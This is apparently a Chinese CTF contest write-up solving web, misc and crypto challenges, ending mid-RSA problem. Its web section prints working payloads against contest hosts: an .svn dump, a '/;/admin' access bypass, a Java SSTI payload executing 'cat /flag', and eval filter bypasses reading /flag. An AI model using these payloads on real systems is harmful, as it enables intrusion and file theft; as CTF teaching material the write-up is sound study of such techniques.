WEB
input_data
使用工具https://github.com/kost/dvcs-ripper
./rip-svn.pl -u http://101.200.58.4:10005/.svn
下载下来.svn目录
然后查看结构发现几个文件
cd进去目录，然后cat 文件名字即可看到 flag{5674938f-803d-4c41-8f84-a77f5164bb4f}
Flag： flag{5674938f-803d-4c41-8f84-a77f5164bb4f}
admin
先通过越权访问到admin，访问路径如下
/;/admin
然后bp字典枚举出传参数path测试出ssti, 经过测试发现需要打java视图操作ssti
payload如下
http://101.200.58.4:3333/;/admin?path=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22cat%20/flag%22).getInputStream()).next()%7d__::x
成功命令执行:
Flag：flag{5d28c6ce-fede-498a-9053-6fe53f54f7d3}
flask
题目源码如下
from flask import Flask, request, Response import reapp = Flask(__name__)@app.route('/') def index():evalme = request.args.get('evalme')if ((not evalme) or re.search(r'[A-Zd-z\\. /*$#@!+^]', evalme)):return 'hacker?'a=eval(evalme)print(1)with open(a, 'rb') as f:return Response(f.read())if __name__ == '__main__':app.run(port=8081,debug=True)
由于禁用了字母，但是abc还可以构造格式化字符串，其实还可以用unicode字符绕过，即使没有abc
命令如下 格式化字符串构造文件名字/flag 通过字典取值得到
/?evalme=[a:=%22%c%c%c%c%c%22%(47,102,108,97,103)][-1]
如此多的FLAG
源码中找到下一层文件F1aaj.php
cookie中找到题目下一层的文件/FLLL4g.php
FLLL4g.php访问源码如下
<?php if (isset($_GET['X'])) { $temp = $_GET['X']; is_numeric($temp) ? die("no numeric") : NULL; if ($temp > 9999) { echo "Pupil.</br>"; } else { die("NO!NO!NO!"); } } else { die("Where is X?"); } if (isset($_GET['Y'])) { $md5 = $_GET['Y']; if ($md5==md5($md5)) { echo "Junior school student.</br>"; } else { die("NO!NO!NO!"); } } else { die("Where is Y?"); } if (isset($_GET['Z'])) { $content = $_GET['Z']; if (strlen($content) >= 60) { die("No long!"); } $blacklist = [' ', '\'', '"', '`', '\[', '\]', '\{', '}', '\t', '\r', '\n']; foreach ($blacklist as $blackitem) { if (preg_match('/' . $blackitem . '/m', $content)) { die("NO!NO!NO!"); } } $security = ['abs', 'base_convert', 'cos', 'dechex', 'exp', 'f1ag', 'getrandmax', 'hexdec', 'is_nan', 'log', 'max', 'octdec', 'pi', 'sin', 'tan']; preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs); foreach ($used_funcs[0] as $func) { if (!in_array($func, $security)) { die("NO!NO!NO!"); } } eval('echo '.$content.';'); if(isset($f1ag)){ if($f1ag == "flag"){ echo "Senior high school student.</br>"; echo "Here_is_flag!!!!!!!"; } } else{ echo "NO!NO!NO!"; } } else { die("Where is Z?"); } ?>
第一种方法
第一步先绕过is_numeric，用数组即可
第二步md5绕过网上一搜一大把
X[]=10000&Y=0e215962017&Z=log($f1ag=0)
第三步可以用 0来绕过，log函数就可以X[]=10000&Y=0e215962017&Z=log($f1ag=0)
或者使用cos函数也可以 X[]=10000&Y=0e215962017&Z=cos($f1ag=0)
Misc:
信息安全大赛的通知
打开后换颜色即可看到flag
多重编码
附件：
编码1：++++++++[>>++>++++>++++++>++++++++>++++++++++>++++++++++++>++++++++++++++>++++++++++++++++>++++++++++++++++++>++++++++++++++++++++>++++++++++++++++++++++>++++++++++++++++++++++++>++++++++++++++++++++++++++>++++++++++++++++++++++++++++>++++++++++++++++++++++++++++++<<<<<<<<<<<<<<<<-]>>>>>>>++++++.>----.<-----.>-----.>-----.<<.+.<<<+++++++.------.>>>+.+.---.<<<.编码2：([](!![]+[])[!+[]+!+[]+!+[]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+[])[!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+[+!+[]]+[!+[]+!+[]+!+[]]+([](!![]+[])[!+[]+!+[]+!+[]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+[])[!+[]+!+[]]+[!+[]+!+[]+!+[]]+(![]+[])[+[]]+[!+[]+!+[]]+[+!+[]]编码3：Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook? Ook. Ook? Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook! Ook! Ook! Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook? Ook. Ook? Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook. Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook! Ook. Ook! Ook! Ook! Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook! Ook! Ook! Ook! Ook! Ook. Ook. Ook. Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook? Ook.
第一段 JSFUCK 解密：flag{ab71cda1
都二段 控制台解码：b495e13b3f21
第三段Ook解密：f6fd50221978}
flag{ab71cda1b495e13b3f21f6fd50221978}
bluetooth
全局搜索flag发现zip并有ke密钥
发现有明显的压缩包 以及flag.txt文档
还有个key的密钥
将压缩包导出
导出压缩包
这里有人不知道如何把这两个文件导出 我简单说一下
第一种
将流量包文件改成zip之类的压缩包格式 进行解压分离提取
第二种
直接将流量包文件用相关命令进行分离
第三种
打开流量包找到存在关键字的原始数据 复制导入16进制文件 需改文头尾 得到压缩包
注意
这里有很多人得到压缩包 发现文件受损 打不开 这里你换一个解压软件就可以
得到密文和密钥:
flag.txt：
10004583275926070044326083910251708233320797779355779208703097816305188140191914132269450797
Key：5216294695211820293806247029887026154798297270637676463374801674229881314620340407569315152
这就是密文和密钥
10进制转16进制 脚本
def hex(number):hex_str = hex(number)[2:]if len(hex_str) == 1:hex_str = '0' + hex_strreturn hex_strif __name__ == "__main__":number = int(input("input: "))hex_representation = hex(number)print(f"{number}的16进制表示为: {hex_representation}")
密文
4e94dcdb6de87e65d263419ec45aec93e8a2e1d386b31fb804e0f02366df44dbe86a8a7c462d
密钥
28f8bdbc16de4850e05579acf33c8aa08ac3d9e6e3822b8c3081c04700eb25b88a08eb457550
进行异或
# 定义加密后的密文和密钥的十六进制字符串
txt = "4e94dcdb6de87e65d263419ec45aec93e8a2e1d386b31fb804e0f02366df44dbe86a8a7c462d"
key = "28f8bdbc16de4850e05579acf33c8aa08ac3d9e6e3822b8c3081c04700eb25b88a08eb457550"
# 将十六进制字符串转换为字节对象
ciphertext_bytes = bytes.fromhex(txt)
key_bytes = bytes.fromhex(key)
# 使用逐字节异或进行解密
# 注意：这里假设密钥和密文长度相同，否则zip会截断到较短的长度
decrypted_bytes = bytes([c ^ k for c, k in zip(ciphertext_bytes, key_bytes)])
# 尝试将解密后的字节对象解码为字符串，忽略无法解码的字节
# 这里假设解密后的字节能够大部分解码为有效的UTF-8字符
print(decrypted_bytes.decode(errors="ignore"))
# 打印解密后的字符串（这行代码其实和上面的print是重复的，但保留以展示意图）
# print(decrypted_bytes.decode(errors="ignore"))
得到flag{66526827ff3ba85e1444a0df4acbba93}
# 定义两个非常大的整数，flag 和 key
flag = 10004583275926070044326083910251708233320797779355779208703097816305188140191914132269450797
key = 5216294695211820293806247029887026154798297270637676463374801674229881314620340407569315152
# 将 flag 和 key 转换为十六进制字符串，并去掉前缀 '0x'
flag_hex = hex(flag)[2:]
key_hex = hex(key)[2:]
# 确定 flag_hex 和 key_hex 中较长者的长度，以便进行零填充
max_length = max(len(flag_hex), len(key_hex))
# 使用零填充较短的十六进制字符串，使其与较长的字符串长度相同
flag_hex = flag_hex.zfill(max_length)
key_hex = key_hex.zfill(max_length)
# 将填充后的十六进制字符串转换为字节对象
flag_bytes = bytes.fromhex(flag_hex)
key_bytes = bytes.fromhex(key_hex)
# 对 flag_bytes 和 key_bytes 进行逐字节的异或操作
# 使用列表推导式和 zip 函数来遍历两个字节对象的对应位置，并对它们进行异或操作
flag_xor = bytes([f ^ k for f, k in zip(flag_bytes, key_bytes)])
# 打印异或操作的结果
# 注意：这个结果是一个字节对象，可能无法直接作为可读文本打印（除非它仅包含可打印字符）
# 你可以将其再次转换为十六进制字符串来查看
print(flag_xor.hex())
# 如果你想要查看原始的字节表示（作为十六进制字符串，但带有空格分隔），可以这样做：
print(' '.join(f'{byte:02x}' for byte in flag_xor))
Coding
观察给的文件
936544a55314a7e4339545f47776a6e41315a7d41325743575655455b4478516a6537416 谜底就是flag，希望大家享受解码的过程。
直接用赛博厨子，html解码，逆序，16进制解码，base64解码即可
凯撒爆破：
Crypto
不小心
题目：
39
1
# coding:utf-82
# python 3.63
4
from flag import flag5
import re6
7
8
s = "fst3Sem8Wgnobcd9+++++uv2JKpUViFGHz0QRMyjkA7NaBC14wXYxh5OP/DEqrZIl6LT"9
10
assert re.match(r'^DASCTF\{[a-f0-9]+\}$',flag) != None11
12
def encode(inputs):13
bin_str = []14
for i in inputs:15
x = str(bin(ord(i))).replace('0b', '')16
bin_str.append('{:0>8}'.format(x))17
outputs = ""18
nums = 019
while bin_str:20
temp_list = bin_str[:3]21
if (len(temp_list) != 3):22
nums = 3 - len(temp_list)23
while len(temp_list) < 3:24
temp_list += ['0' * 8]25
temp_str = "".join(temp_list)26
temp_str_list = []27
for i in range(0, 4):28
temp_str_list.append(int(temp_str[i * 6:(i + 1) * 6], 2))29
if nums:30
temp_str_list = temp_str_list[0:4 - nums]31
for i in temp_str_list:32
outputs += s[i]33
bin_str = bin_str[3:]34
outputs += nums * '='35
return outputs36
37
c = encode(flag)38
print(c)39
# +Se++h+mF5u0d++Oc++RbQJYbyuMb++0cYuQc+SwdmK0d+fwcYRYG+==原题目脚本注释
这里我们来分析一下 题目脚本（我直接在脚本中给出注释）
59
1
# 编码设置和导入必要的库 2
# coding:utf-8 # 指定文件编码为utf-8 3
# python 3.6 # 注释说明该脚本应在Python 3.6环境下运行，但实际上这行对Python解释器没有实际作用 4
5
from flag import flag # 从flag模块中导入flag变量，假设flag模块中定义了flag变量，存储了CTF比赛的flag 6
import re # 导入正则表达式库 7
8
# 给定的字符串，用于编码过程中的映射 9
s = "fst3Sem8Wgnobcd9+++++uv2JKpUViFGHz0QRMyjkA7NaBC14wXYxh5OP/DEqrZIl6LT"10
11
# 使用正则表达式断言flag的格式，确保flag以DASCTF{开头，后跟一串十六进制数字，以}结尾 12
assert re.match(r'^DASCTF\{[a-f0-9]+\}$', flag) != None13
14
15
def encode(inputs):16
""" 17
将输入的字符串（假设为flag）进行编码。 18
编码过程： 19
1. 将每个字符转换为二进制字符串，并填充至8位。 20
2. 每3个二进制字符串（共24位）合并，然后每6位一组转换为十进制数。 21
3. 使用s字符串中对应位置的字符替换这些十进制数。 22
4. 如果最后不足3个二进制字符串，则补零至3个，并相应地减少输出的字符数（用'='表示）。 23
"""24
bin_str = [] # 存储每个字符的二进制表示（填充至8位） 25
for i in inputs:26
x = str(bin(ord(i))).replace('0b', '') # 将字符转换为二进制字符串，并去除前缀'0b' 27
bin_str.append('{:0>8}'.format(x)) # 填充至8位 28
29
outputs = "" # 存储编码后的字符串 30
nums = 0 # 记录需要补零的二进制字符串数量 31
32
while bin_str:33
temp_list = bin_str[:3] # 每次取3个二进制字符串 34
if len(temp_list) != 3: # 如果不足3个，则记录需要补零的数量 35
nums = 3 - len(temp_list)36
# 注意：这里的补零逻辑实际上在后续处理中被忽略了，因为temp_list直接用于处理 37
# 理论上应该在这里补零，但代码中没有实现，可能是个遗漏 38
39
temp_str = "".join(temp_list) # 合并3个二进制字符串 40
temp_str_list = [] # 存储每6位二进制转换成的十进制数 41
for i in range(0, 4): # 每6位一组进行转换（因为24位/6位=4组） 42
temp_str_list.append(int(temp_str[i * 6:(i + 1) * 6], 2)) # 转换为十进制 43
44
if nums: # 如果需要补零，则减少输出的字符数 45
temp_str_list = temp_str_list[0:4 - nums]46
47
for i in temp_str_list: # 使用s字符串中的字符替换这些十进制数 48
outputs += s[i]49
50
bin_str = bin_str[3:] # 处理下一个3个二进制字符串 51
52
outputs += nums * '=' # 使用'='表示补零的数量（但这里的实现可能不完全准确，因为补零逻辑未完全实现） 53
return outputs54
55
56
# 对flag进行编码并打印结果57
c = encode(flag)58
print(c) # 输出编码后的字符串 59
# +Se++h+mF5u0d++Oc++RbQJYbyuMb++0cYuQc+SwdmK0d+fwcYRYG+==“+”有多个，就需要爆破一下
其实这里一个小漏洞
我们看他自己给的脚本中有DASCTF的字样 这足以证明这道题是之前的原题（这里说明主办方有点懒呀 无意冒犯 哈哈哈） （是2022河北银行CTF的原题 ）
所以脚本直接照搬加以修改也可以（注释）
82
1
# coding:utf-82
# Python 3.63
4
# 自定义编码函数，将输入字符串转换为基于特定字符串 s 的编码5
def encode(inputs):6
bin_str = []7
for i in inputs:8
# 将字符转换为二进制字符串，并去掉前缀 '0b'，然后填充至8位9
x = '{:08b}'.format(ord(i))10
bin_str.append(x)11
outputs = ""12
nums = 013
while bin_str:14
# 每组处理3个二进制字符串（不足时用'0'填充至8位后的全0字符串代替）15
temp_list = bin_str[:3]16
if len(temp_list) != 3:17
nums = 3 - len(temp_list)18
while len(temp_list) < 3:19
temp_list.append('0' * 8) # 直接添加8个0的字符串，而不是列表20
temp_str = "".join(temp_list)21
# 从每24位二进制中提取4个6位的部分，转换为十进制索引22
temp_str_list = [int(temp_str[i * 6:(i + 1) * 6], 2) for i in range(4)]23
if nums:24
temp_str_list = temp_str_list[:4 - nums] # 如果不足3个二进制字符串，则截取前面的部分25
# 使用索引从字符串 s 中选择字符，并构建输出26
for i in temp_str_list:27
outputs += "fst3Sem8Wgnobcd9+++++uv2JKpUViFGHz0QRMyjkA7NaBC14wXYxh5OP/DEqrZIl6LT"[i]28
bin_str = bin_str[3:]29
# 如果不是3的倍数，则添加 '=' 填充30
outputs += '=' * nums31
return outputs32
33
34
# 模拟解码 Base64 的过程（实际上并未直接使用 Base64 解码，而是利用了自定义的 s 字符串）35
s = "fst3Sem8Wgnobcd9+++++uv2JKpUViFGHz0QRMyjkA7NaBC14wXYxh5OP/DEqrZIl6LT"36
h = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='37
c = '+Se++h+mF5u0d++Oc++RbQJYbyuMb++0cYuQc+SwdmK0d+fwcYRYG+'38
m = ''39
for i in c:40
# 通过查找 c 中每个字符在 s 中的索引，用该索引从 Base64 字符集 h 中选择字符41
m += h[s.index(i)]42
print("模拟解码结果:", m)43
44
# 递归函数，用于解密特定的 Base64 字符串45
from base64 import b64decode46
import string47
48
ss = b'0123456789abcdef-_{}'49
50
51
def aaa(idx, mm):52
if idx >= 4:53
try:54
# 尝试 Base64 解码55
t = b64decode(mm)56
except:57
return58
# 检查解码后的每个字节是否在允许的字符集 ss 中59
if all(v in ss for v in t):60
print("解码成功:", t.decode()) # 解码后可能需要转为字符串输出61
return62
if mm[idx] == 'Q':63
# 替换 'Q' 为 'QRSTU' 中的一个字符，并递归处理64
for v in "QRSTU":65
aaa(idx + 1, mm[:idx] + v + mm[idx + 1:])66
else:67
# 继续递归处理下一个字符68
aaa(idx + 1, mm)69
70
# 解密过程71
72
73
m = 'QEFQQ1QGezc4YWQhMQEzZQcwOWZkZjEyYQVhYQQhYQVkZDYyZQMzfQ=='74
m = m[8:] # 去掉前缀 'QEFQQ1Q'，可能是为了减少搜索空间或符合特定条件75
76
# 分块处理 Base64 字符串77
for v in range(0, len(m), 4):78
print('---------', v, m[v:v + 4])79
aaa(0, m[v:v + 4])80
81
# 预期输出: DASCTF{78ada113e709fdf12a5aa4aa5dd62e33}82
# 注意：这个输出是预期值，实际输出取决于 m 的内容和递归函数的实现
得到FLAG
DASCTF{78ada113e709fdf12a5aa4aa5dd62e33}
Justmath
题目一个函数图像 一个脚本
原脚本注释
59
1
# 导入必要的库 2
from gmpy2 import * # 导入GMPY2库，用于高精度算术 3
from Crypto.Util.number import * # 导入Crypto库的实用程序，用于数字加密和数学函数 4
from secret import FLAG,x,y # 假设这是一个包含FLAG（待解密的消息）、x和y（可能是某个函数的变量和表达式）的模块 5
import sympy # 导入SymPy库，用于符号数学 6
import pylab # 导入pylab，通常用于绘图，但在这个上下文中可能不太必要 7
8
# 定义calc函数，可能用于演示或测试符号求导和绘图 9
def calc(): 10
y1 = sympy.diff(y,x) # 对y关于x求一阶导数 11
y2 = sympy.diff(y1,x) # 对y1（即y的一阶导数）关于x求二阶导数 12
v1,v2,v3 = [],[],[] # 初始化三个列表，用于存储计算结果 13
for i in FLAG: # 遍历FLAG中的每个字符（这里假设FLAG被转换为数字列表） 14
v1.append(y.subs('x',i)) # 将y中的x替换为FLAG中的当前数字，并将结果添加到v1 15
print('v1 =',v1[:34]) # 打印v1的前34个元素 16
for i in v1: 17
v2.append(y1.subs('x',i)) # 将y1中的x替换为v1中的当前值，并将结果添加到v2 18
print('v2 =',v2[:2]) # 打印v2的前两个元素 19
for i in v2: 20
v3.append(y2.subs('x',i)) # 将y2中的x替换为v2中的当前值，并将结果添加到v3 21
print('v3 =',v3[:2]) # 打印v3的前两个元素 22
pylab.plot(v2,v3) # 使用pylab绘制v2和v3的图形 23
pylab.show() # 显示图形 24
25
# 定义rsam函数，生成RSA密钥对并加密FLAG 26
def rsam(): 27
m = bytes_to_long(FLAG) # 将FLAG（假设为字节串）转换为长整型数字 28
while True: 29
try: 30
p = getPrime(768) # 生成一个768位的质数p 31
q = getPrime(768) # 生成另一个768位的质数q 32
n = p*q # 计算n = p*q，用于RSA模 33
e = 3 # 使用小整数e=3作为公钥的一部分（在实际应用中，e应选择与phi(n)互质的大整数） 34
phi = (p-1)*(q-1) # 计算欧拉函数phi(n) 35
d = invert(e,phi) # 计算e关于phi的模逆d，用于私钥 36
c = pow(m,e,n) # 使用公钥(e,n)加密m 37
print('n =',n) # 打印公钥和密文的一部分 38
print('e =',e) 39
print('c =',c) 40
break # 跳出循环 41
except: 42
pass # 如果生成质数或计算过程中发生错误，则忽略并继续尝试 43
44
# 定义main函数，按顺序调用rsam和calc 45
def main(): 46
rsam() # 调用rsam函数以生成RSA密钥对并加密FLAG 47
calc() # 调用calc函数以进行符号求导和绘图（与RSA加密无关） 48
49
if __name__ == '__main__': 50
main() # 如果此脚本作为主程序运行，则调用main函数 51
52
# 给出的RSA参数和计算结果 53
# ...（这里列出了n, e, c, v1, v2, v3的值，这些值用于验证或进一步分析）54
n = 226037555910434542559042697796038625628700977723327706262548701788593144691194292120149285016711545507193583128326994856922035676398876282523031552063370244386669023994524294837078197571432530830654333760078334079245899150668584372996289779695617146787653108419442610179661790301581015671739622707927478626921737061847726686738915555137879871325984375028976585871762792568902156135243808003980495714551347876764167464434660922403427490622878459343546241327841014355
e = 356
c = 168342772678622527110928980877807535190645708128289133527295645507629040729094692784018067231590898111422943489942488257982389750673001891137523839407629390894684413529598433612217036270336164732516944437350266568677904984671730537739629675236191892100789744973885696224871657901426759766734169045346013021521525677624991080856467740738399670009036182212267642806957751746885164264899393067987539856838320103236022908333848714667301835074057171996073005325435218457
v1 = [3149069, 2271689, 2337632, 3068562, 67697, 2337632, 3068562, 67697, 2143547, 2543093, 1844472, 2206998, 67697, 1844472, 2686547, 2020317, 67697, 3149069, 2271689, 2081324, 67697, 2143547, 2543093, 1844472, 2206998, 67697, 2337632, 3068562, 67697, 2143547, 2543093, 1844472, 2206998, 3752378]58
v2 = [59499825996845, 30963434563085]59
v3 = [713997911962144, 371561214757024]编写脚本
第一部分：使用SageMath解方程恢复部分flag
24
1
# 引入SageMath的solve函数用于解方程 2
from sage.symbolic.relation import solve3
4
# 定义变量x 5
x = var('x')6
7
# y_value列表包含了通过某种方式（可能是符号函数在特定x值下的结果）得到的值 8
y_value = [3149069, 2271689, 2337632, 3068562, 67697, 2337632, 3068562, 67697, 2143547, 2543093, 1844472, 2206998, 67697, 1844472, 2686547, 2020317, 67697, 3149069, 2271689, 2081324, 67697, 2143547, 2543093, 1844472, 2206998, 67697, 2337632, 3068562, 67697, 2143547, 2543093, 1844472, 2206998, 3752378] # 省略了中间的值以节省空间9
10
# 初始化flag字符串 11
flag = ""12
13
# 遍历y_value列表中的每个值 14
for i in y_value:15
# 构造一个三次方程，使其等于y_value中的当前值 16
equation = 2 * x ^ 3 + 2 * x ^ 2 + 3 * x + 17 == i17
# 解这个方程 18
solutions = solve(equation, x)19
# 假设方程有三个解，取第三个解（注意：这里假设了解的顺序和存在性） 20
# 并将该解转换为字符后添加到flag字符串中 21
flag += chr(solutions[2].rhs())22
23
# 打印恢复的flag部分 24
print(flag)第二部分：使用RSA和Coppersmith的小根数攻击恢复剩余的flag
28
1
# 引入Crypto.Util.number中的函数2
from Crypto.Util.number import *3
4
# 已知flag的一部分（前缀）5
flag = b"this is flag and the flag is flag{"6
7
# RSA的公钥参数：模n和指数e8
n = 2260375559104345425590426977960386256287009777233277062625487017885931446911942921201492850167115455071935831283269948569220356763988762825230315520633702443866690239945242948370781975714325308306543337600783340792458991506685843729962897796956171467876531084194426101796617903015810156717396227079274786269217370618477266867389155551378798713259843750289765858717627925689021561352438080039804957145513478767641674644346609224034274906228784593435462413278410143 # 省略了具体的大数值以节省空间9
e = 310
c = 1683427726786225271109289808778075351906457081282891335272956455076290407290946927840180672315908981114229434899424882579823897506730018911375238394076293908946844135295984336122170362703361647325169444373502665686779049846717305377396296752361918921007897449738856962248716579014267597667341690453460130215215256776249910808564677407383996700090361822122676428069577517468851642648993930679875398568383201032360229083338487146673018350740571719960730053254352184 # 省略了具体的密文大数值以节省空间11
12
# 定义模n的多项式环13
R. < x > = PolynomialRing(Zmod(n))14
15
# 尝试使用Coppersmith的小根数攻击来找到m（原始消息）16
# 由于我们知道flag的一部分，我们可以尝试通过不断添加'\x00'（即0字节）来扩展这个前缀17
# 然后我们尝试找到满足(m + x)^e - c = 0的小x值18
for i in range(40): # 尝试不同的扩展长度19
mhigh = bytes_to_long(flag + b"\x00" * 32 + b"}") # 构造一个可能的高位m值20
f = (mhigh + x) ^ e - c # 构造多项式21
# 使用small_roots方法尝试找到多项式的小根22
# 参数X指定了搜索的界限，beta和epsilon影响搜索的精度和性能23
res = f.small_roots(X=256 ^ i, beta=0.4, epsilon=0.05)24
if res != []: # 如果找到了根25
# 将找到的小根值加到mhigh上，得到可能的m值26
m = mhigh + int(res[0])27
# 将m值转换回字节串并打印28
print(long_to_bytes(m))得到flag
flag{0f5a1806d07f030767e113352727ea2d}
BASE
题目
这个提示已经很明显了 直接写到的文件名 说白了还是套娃的编码
有工具就直接梭哈 没工具就一个一个试
chgdchg5clctclcxclc5cdc9chcdcdc9chctchglcdc9chclclcdclcpchchchgdchg5clg5chg9clcpchclcdcdchg9chg5chctclc9chghclchchclclcpclchchghchg5clcpcdclchcpchclcdc9clcdcdc9chglchg5chg5chctcdc9clchclcdchclchgdchcpcdclchclcdc9chghclcdchg5chctclcpchctclclchgpclclchgdclcBchgdchcpchgdclclcdc9chglchcdclg5chglchg5clctchctclctclchchgdchglchg9clcpcdchchcpclclclcpcdc9chg9chcxchclcdghcdghcdghcdghcdghcdgh
中间需要过度一下base62 （别问工具为什么不能直接搜哈 要么格式 要么不完善 这就需要你去开发了）
提供在线网址
base编码解码-base64、base32、base16加密与解密 - 在线工具
base编码解码工具能够将普通的文字转为base32、base16、base58、base91、base85、base64、base36、base62等编码字符，还能够将这些base编码加密的字符重新解码转换为正常文字.
https://www.wqtool.com/basecode
4C4A575851324332474E32455356444C4A5A4B5645334B4A47524D544556544D4A563546453253324E4A4A47325453454C463545324D534A475647554F554C594C464C55324E435A4E4A574757544C4E4B5634465556324B48453D3D3D3D3D3D
然后继续梭哈
flag{HNCTFb8cee34cf4f4633b90d1ac8b9d2e1eb} 这题八成也是之前的原题
总结套娃层
1 base100-->2 base64-->3 base85(ASCII85)-->4 base91-->5 base62-->6 hex-->7 base32-->8 base64
easy_crypto1
RSA才是密码的主导 能把所有攻击模式和理论掌握并可以熟练掌握编写脚本 芜湖起飞
这个题也是之前的原题 （攻防世界 crypto---simpleRSA wp）
题目
52
1
#!/usr/bin/env python3.92
# -*- coding: utf-8 -*-3
import gmpy24
from Crypto.Util.number import getPrime, isPrime, bytes_to_long5
from secret import FLAG, E1, E2, P, Q1, Q26
7
8
def next_prime(num: int) -> int:9
num = num + 2 if num % 2 else num + 110
while not isPrime(num):11
num += 212
return num13
14
15
p = getPrime(1024)16
q = next_prime(getPrime(16) * p + 38219)17
n = p * q18
c = pow(E1, 65537, n)19
print(f'n = {n}')20
print(f'c = {c}')21
# n = 160524760072475259879825463922421570617150635965496135732442802798578794200810376656274546483896156908144691611376951771334442011358425425900017257281115423210733948090367225199219199745846990506442361888833608865235254088257682698835578315923797104377013262834479893735315093007130934797280411895281444757620706614703123874909884266204682574398820881390313879678994091151582551707855407449647481912878983530963680432513260255709284774645478638706759951076938207852169160997032052853127047409171347704034389726990348944141006259273230240285403541543807865668880690535049582533458453334544809133556579209189018567319042406322
# c = 75163905761067701326406143143418908301758990811830724721700753393843522943101585878322216791177284889301551860722928058998571101076645939698923207251231459491702937522133536120903611274238886687382416335088661051497303831651203245935205315841770540603146633244037887192717473197579457989491299993664116306389836513478853738916237818544809027939771783197780328448074361239359161428497298143574936225565456112175816348588407526015628833717671375647187948976741683686866115369315779273314276567188779230318137662086450638682082686634090759308065452149876642105647465265233703712188120718803310874689099820858240682601012186123
24
assert E2.bit_length() == 6925
ns = [getPrime(1024) * getPrime(1024) for _ in range(3)]26
cs = [pow(E2, 89, n) for n in ns]27
print(f'ns = {ns}')28
print(f'cs = {cs}')29
# ns = [15863230586500684911356384742123404120213699052018048588650392009927565369685497256344682150189923131009586323640507773706997704860898682946308031020361302334248895233255911348365179153799197341744863134926804603973507415697810440916305092395180382239729550833607847524005391137474497849077097574452115379368463540087172800902210822143687014813631366360652583216269138116785489485772437870528892032119729929607857459621078790511144060710035933887337208301078892163837203412081114510143406013892393607932596921308889058909544584619676380766485493114814753878272881866907210235681877689493671668534251778397658670518117, 14144098469438619358682652828507744381697293556670717685553585719665002440476256008471235313826051740009083510860714991201047915737216102220242621674841600987122005914542061963618272275986835928673920375768272390912778741502655909281390948606467847118377641357547931472588836726339758576038273820470879637555458446243401248151675266602656677360819563744765522495640821496694918515669243614141704744848980746101569785439728585144841655665959389460512628800782742764147773150430552859331269667626942993392101897661719871375721143240270211821269260950380944670195863016621594387236339317938305273510719419578308449465183, 27563822879593503938377821960427219022565215631856333510782568496016547757945464794632272818101891677705256471714805217606503652132995136255720639088424576003650628211271025648183600635145895528466199068640094470078526413324708028578289949241288828542143203769199399500669311878391255837977932634772778594526940501234736059441483897017015324765266787399950699732518347518591167932031031320265136158304460199654008895095274754918153773566824931440342525688741289235153882699461549523425169846266597156773535163599640189457171272058311480951820887261040891344076039474315985825984444520336790670313179493074014037981261]30
